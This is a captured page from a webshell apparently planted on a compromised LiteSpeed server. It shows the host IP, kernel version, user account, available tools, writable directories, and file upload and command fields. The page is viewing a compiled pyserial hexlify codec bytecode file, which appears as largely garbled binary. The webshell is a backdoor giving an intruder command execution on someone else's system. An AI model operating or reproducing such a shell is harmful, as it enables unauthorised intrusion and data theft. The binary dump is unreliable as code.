403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.191.157.31
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3.6/site-packages/serial/tools/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/serial/tools/__pycache__/hexlify_codec.cpython-36.pyc
3

M�]W5�
@s�dZddlZddlZyeWneefk
r8eZYnXdZddd�Zddd�Z	Gd	d
�d
ej
�Z
Gdd�dej�ZGd
d�dej�ZGdd�de
ej
�Z
Gdd�de
ej�Zdd�ZdS)aLPython 'hex' Codec - 2-digit hex with spaces content transfer encoding.

Encode and decode may be a bit missleading at first sight...

The textual representation is a hex dump: e.g. "40 41"
The "encoded" data of this is the binary form, e.g. b"@A"

Therefore decoding is binary to text and thus converting binary data to hex dump.

�NZ0123456789ABCDEF�strictcCs tjdd�|j�D��t|�fS)z'40 41 42' -> b'@ab'cSsg|]}t|d��qS)�)�int)�.0�h�r�#/usr/lib/python3.6/hexlify_codec.py�
<listcomp>&szhex_encode.<locals>.<listcomp>)�serial�to_bytes�split�len)�data�errorsrrr�
hex_encode$srcCs&tdjdd�tj|�D���t|�fS)zb'@ab' -> '40 41 42'�css|]}djt|��VqdS)z{:02X} N)�format�ord)r�brrr�	<genexpr>+szhex_decode.<locals>.<genexpr>)�unicode�joinr
�	iterbytesr
)rrrrr�
hex_decode)src@s eZdZddd�Zddd�ZdS)	�CodecrcCstjdd�|j�D��S)z'40 41 42' -> b'@ab'cSsg|]}t|d��qS)r)r)rrrrrr	1sz Codec.encode.<locals>.<listcomp>)r
rr)�selfrrrrr�encode/szCodec.encodecCstdjdd�tj|�D���S)zb'@ab' -> '40 41 42'rcss|]}djt|��VqdS)z{:02X} N)rr)rrrrrr5szCodec.decode.<locals>.<genexpr>)rrr
r)rrrrrr�decode3szCodec.decodeN)r)r)�__name__�
__module__�__qualname__rrrrrrr.s
rc@s<eZdZdZddd�Zdd�Zdd�Zd	d
�Zddd
�ZdS)�IncrementalEncoderzIncremental hex encoderrcCs||_d|_dS)Nr)r�state)rrrrr�__init__;szIncrementalEncoder.__init__cCs
d|_dS)Nr)r")rrrr�reset?szIncrementalEncoder.resetcCs|jS)N)r")rrrr�getstateBszIncrementalEncoder.getstatecCs
||_dS)N)r")rr"rrr�setstateEszIncrementalEncoder.setstateFcCs�|j}g}x�|j�D]|}|tkrTtj|�}|rF|j||d@�d}q�d|d>}q|dkrx|rr|jdkrrtd��d}q|jdkrtdj|���qW||_tj	|�S)	z�        Incremental encode, keep track of digits and emit a byte when a pair
        of hex digits is found. The space is optional unless the error
        handling is defined to be 'strict'.
        ��r��� rzodd number of hex digitsznon-hex digit found: {!r})
r"�upper�	HEXDIGITS�index�appendr�UnicodeErrorrr
r)rr�finalr"Zencoded�c�zrrrrHs"

zIncrementalEncoder.encodeN)r)F)	rrr �__doc__r#r$r%r&rrrrrr!8s
r!c@seZdZdZddd�ZdS)�IncrementalDecoderzIncremental decoderFcCstdjdd�tj|�D���S)Nrcss|]}djt|��VqdS)z{:02X} N)rr)rrrrrrfsz,IncrementalDecoder.decode.<locals>.<genexpr>)rrr
r)rrr0rrrreszIncrementalDecoder.decodeN)F)rrr r3rrrrrr4csr4c@seZdZdZdS)�StreamWriterz-Combination of hexlify codec and StreamWriterN)rrr r3rrrrr5isr5c@seZdZdZdS)�StreamReaderz-Combination of hexlify codec and StreamReaderN)rrr r3rrrrr6msr6c	Cstjdttttttd�S)zencodings module APIZhexlify)�namerr�incrementalencoder�incrementaldecoder�streamwriter�streamreader)�codecs�	CodecInforrr!r4r5r6rrrr�getregentryqsr>)r)r)r3r<r
r�	NameError�AttributeError�strr,rrrr!r4r5r6r>rrrr�<module>s



+

Youez - 2016 - github.com/yon3zu
LinuXploit